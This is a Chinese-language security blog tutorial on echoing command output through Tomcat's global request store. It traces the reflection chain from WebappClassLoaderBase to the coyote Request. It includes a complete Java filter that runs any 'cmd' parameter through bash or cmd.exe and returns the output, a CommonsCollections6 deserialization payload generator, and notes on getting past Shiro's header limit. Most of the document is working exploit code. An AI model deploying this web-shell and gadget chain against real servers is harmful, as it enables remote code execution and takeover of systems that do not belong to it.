基于Tomcat全局存储进行回显
# 基于全局全局存储获取Request 和 Response 对象
Reference:
- 基于全局储存的新思路 | Tomcat的一种通用回显方法研究 (qq.com) (opens new window)
- Java Web代码执行漏洞回显总结 | l3yx's blog (opens new window)
不寻求改变代码流程,而是通过寻找 Tomcat 全局存储的 Request 或 Response 对象,来写入命令执行的结果。
# 寻找过程
笔记
由于下面的截图不是在一次调试过程中截取的,所以对象可能会发生改变。
起一个Spring boot项目,观察调用栈,在Http11Processer
中的request
和response
对象都来自于其父类AbstractProcessor
,且为final
,也就是说赋值之后对于对象的引用不会改变:
往前看调用栈,在AbstractProtocol$ConnectionHandler
这个内部类中对processor
(也就是Http11Processor实例)进行了处理:
跟进register
方法:
提取了当前processor的中的request
对象中的requestInfo
,其中也封装了一个req
对象:
然后将其放到global
这个全局数组中:
它里面是有一个储了requsetInfo
对象的一个ArrayList对象:
这个req
对象和之前提到的Http11Processer
中的request
对象是同一个:
既然把同一个request
对象放到了global
中,所以我们尝试寻找存储了AbstractProtocol
实例的地方,由于global
对象是在内部类ConnectionHandler
中,如果可以获取到AbstractProtocol
对象,那么就能通过反射getHandler
方法来获取到内部类ConnectionHandler
的实例,进而获取global
:
所以到目前位置,寻找的思路如下图所示:
怎么获取AbstractProtocol
呢?接着往下看调用栈:
在CoyoteAdapter
类中有一个Connector
对象:
而在Connector
中有一个类型为ProtocolHander
类型的变量:
这个类的继承关系图如下:
我们要寻找的AbstractProtocol
类就实现了这个接口,而在实际执行过程中,这个protocolHandler
变量实际的类是Http11NioProtocol
类,而这个类正好是AbstractProtocol
的子类:
由于多态的性质,所以我们获取到这个Http11NioProtocol
对象之后,可以通过向上转型为AbstractProtocol
类型,然后通过子类对象去访问我们需要的global
。
这个Connector
类是在org.apache.catalina
包下的,Tomcat会最先加载这个包,所以我们到Tomcat启动过程中寻找一下Connector
类的踪迹。如果熟悉Spring boot
启动Tomcat
服务器流程的话,可以知道在TomcatServletWebServerFactory#getWebServer
方法中执行了addConnector
方法:
执行完之后就会把connector
对象封装到StandardService
对象中:
网上的一些文章(包括原作者)认为
Connector
实例的添加是在下面的tomcat.setConnector(connector)
中执行的,其实不准确,其逻辑如下:这里是进入不到if语句中的,因为在之前就执行了一次
addConnector
方法,那时候connector就添加完毕了。
之后Litch1师傅的思路就是通过WebappClassLoaderBase
这个线程上下文类加载器于StrandardService
来产生联系:
关于这个类加载器的详细具体可以参考Tomcat的类加载机制。
简单来说,就是为了实现各webapp的资源隔离,打破了双亲委派机制,让每一个webapp有一个独有的类加载器来优先加载,而不是直接传递给其父加载器。
这个类加载器我们可以直接通过Thread.currentThread().getContextClassLoader()
来直接获取到实例,所以整个寻找链也就完成了:
WebappClassLoaderBase -->
resources(StandardRoot) -->
context(StandardContext) -->
context(ApplicationContext) -->
service(StandardService) -->
connectors(Connector[]) -->
protocolHandler(ProtocolHandler) -->
(转型)protocolHandler(AbstractProtocol) -->
(内部类)hanlder(AbstractProtocol$ConnectorHandler) -->
global(RequestGroupInfo) -->
processors(ArrayList) -->
requestInfo(RequestInfo) -->
req(org.apache.coyote.Request) --getNote-->
request(org.apache.connector.Request) -->
response(org.apache.connector.Response)
有一点需要注意的是,我们最后拿到的Request
对象是org.apache.coyote.Request
,而真正需要其实是org.apache.catalina.connector.Request
对象,前者是是应用层对于请求-响应对象的底层实现,并不方便使用,通过调用其getNote
方法可以得到后者:
# 本地 Filter 测试
本地 filter 测试:
import org.apache.catalina.Context;
import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.StandardService;
import org.apache.catalina.loader.WebappClassLoaderBase;
import org.apache.coyote.AbstractProtocol;
import org.apache.coyote.Request;
import org.apache.coyote.RequestGroupInfo;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;
import java.io.InputStream;
import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.Scanner;
@WebFilter(filterName = "testFilter", urlPatterns = "/*")
public class Filter3 implements Filter {
@Override
public void doFilter(ServletRequest request1, ServletResponse response1, FilterChain chain) throws IOException, ServletException {
String cmd = null;
try {
WebappClassLoaderBase loader = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
Context context = loader.getResources().getContext();
// 获取 ApplicationContext
Field applicationContextField = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
applicationContextField.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(context);
// 获取 StandardService
Field serviceField = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
serviceField.setAccessible(true);
StandardService standardService = (StandardService) serviceField.get(applicationContext);
// 获取 Connector 并筛选 HTTP Connector
Connector[] connectors = standardService.findConnectors();
for (Connector connector : connectors) {
if (connector.getScheme().contains("http")) {
// 获取 AbstractProtocol 对象
AbstractProtocol abstractProtocol = (AbstractProtocol) connector.getProtocolHandler();
// 获取 AbstractProtocol$ConnectionHandler
Method getHandler = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredMethod("getHandler");
getHandler.setAccessible(true);
AbstractEndpoint.Handler ConnectionHandler = (AbstractEndpoint.Handler) getHandler.invoke(abstractProtocol);
// global(RequestGroupInfo)
Field globalField = Class.forName("org.apache.coyote.AbstractProtocol$ConnectionHandler").getDeclaredField("global");
globalField.setAccessible(true);
RequestGroupInfo global = (RequestGroupInfo) globalField.get(ConnectionHandler);
// processors (ArrayList)
Field processorsField = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
processorsField.setAccessible(true);
ArrayList processors = (ArrayList) processorsField.get(global);
for (Object processor : processors) {
RequestInfo requestInfo = (RequestInfo) processor;
// 依据 QueryString 获取对应的 RequestInfo
if (requestInfo.getCurrentQueryString().contains("cmd")) {
Field reqField = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
reqField.setAccessible(true);
// org.apache.coyote.Request
Request requestTemp = (Request) reqField.get(requestInfo);
// org.apache.catalina.connector.Request
org.apache.catalina.connector.Request request = (org.apache.catalina.connector.Request) requestTemp.getNote(1);
// 执行命令
cmd = request.getParameter("cmd");
String[] cmds = null;
if (cmd != null) {
if (System.getProperty("os.name").toLowerCase().contains("win")) {
cmds = new String[]{"cmd", "/c", cmd};
} else {
cmds = new String[]{"/bin/bash", "-c", cmd};
}
InputStream inputStream = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(inputStream).useDelimiter("//A");
String output = s.hasNext() ? s.next() : "";
PrintWriter writer = request.getResponse().getWriter();
writer.write(output);
writer.flush();
writer.close();
break;
}
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
chain.doFilter(request1, response1);
}
}
SpringBoot 的入口方法需要添加注解 @ServletComponentScan
来让 filter 生效:
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
import org.springframework.boot.web.servlet.ServletComponentScan;
@SpringBootApplication
@ServletComponentScan
public class DemoApplication {
public static void main(String[] args) {
SpringApplication.run(DemoApplication.class, args);
}
}
因为不需要改变代码运行流程,所以只需要请求一次,便可以获取命令执行的结果:
# 反序列化接口测试
还是使用一个反序列接口来测试 payload:
import org.apache.tomcat.util.codec.binary.Base64;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
@RestController
public class TestController {
@RequestMapping("/testPayload")
public String test(@RequestParam("payload") String payload) throws Exception {
byte[] bytes = Base64.decodeBase64(payload);
ByteArrayInputStream byteArrayInputStream = new ByteArrayInputStream(bytes);
ObjectInputStream objectInputStream = new ObjectInputStream(byteArrayInputStream);
objectInputStream.readObject();
objectInputStream.close();
return payload;
}
}
把上节 filter 的doFiler
方法中的代码复制到一个类的static{}
中,取名POC
,然后使用 CC6 来生成 payload ,进行测试:
package src;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import org.apache.tomcat.util.codec.binary.Base64;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
File file = new File("target/classes/src/POC.class");
byte[] bytes = new byte[(int) file.length()];
FileInputStream fileInputStream = new FileInputStream(file);
fileInputStream.read(bytes);
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "F4DE");
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// 先设置一个无害方法,防止在 Map#put 方法中触发Gadget
Transformer invokerTransformer = new InvokerTransformer("getClass", null, null);
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, invokerTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, templates);
HashMap expMap = new HashMap();
expMap.put(tiedMapEntry, "value");
outerMap.clear();
setFieldValue(invokerTransformer, "iMethodName", "newTransformer");
// ======反序列化======
ByteArrayOutputStream barr_out = new ByteArrayOutputStream();
ObjectOutputStream ops = new ObjectOutputStream(barr_out);
ops.writeObject(expMap);
ops.close();
System.out.println(Base64.encodeBase64String(barr_out.toByteArray()));
}
static void setFieldValue(Object obj, String field, Object value) throws Exception {
Class<?> clazz = Class.forName(obj.getClass().getName());
Field field1 = clazz.getDeclaredField(field);
field1.setAccessible(true);
field1.set(obj, value);
}
}
向目标接口发送 payload :
# Shiro 测试
由于生成的 payload 太长,超过了 Shiro 中Header头部限制,所以产生了payload不可用的问题:
Litch1师傅的解决思路如下:
测试shiro的时候,发现一个问题,生成的payload太长了 ,已经超过了Tomcat默认的max header的大小,经过一再缩减也没有成功,于是考虑通过改变Tomcat max header的大小解除限制,思路是改变org.apache.coyote.http11.AbstractHttp11Protocol的maxHeaderSize的大小,这个值会影响新的Request的inputBuffer时的对于header的限制,但是由于request的inputbuffer会复用,所以我们在修改完maxHeaderSize之后,需要多个连接同时访问,让tomcat新建request的inputbuffer,这时候的buffer的大小限制就会使用我们修改过后的值。
在上一篇文章中,我也给出了在Spring
+ shiro
环境中通过动态类加载来解决的方式:通过动态类加载解决【通过Tomcat全局存储进行回显】在Shiro中的Header过长问题 (opens new window)
# 最后
不得不佩服这些大师傅们,太强了orz。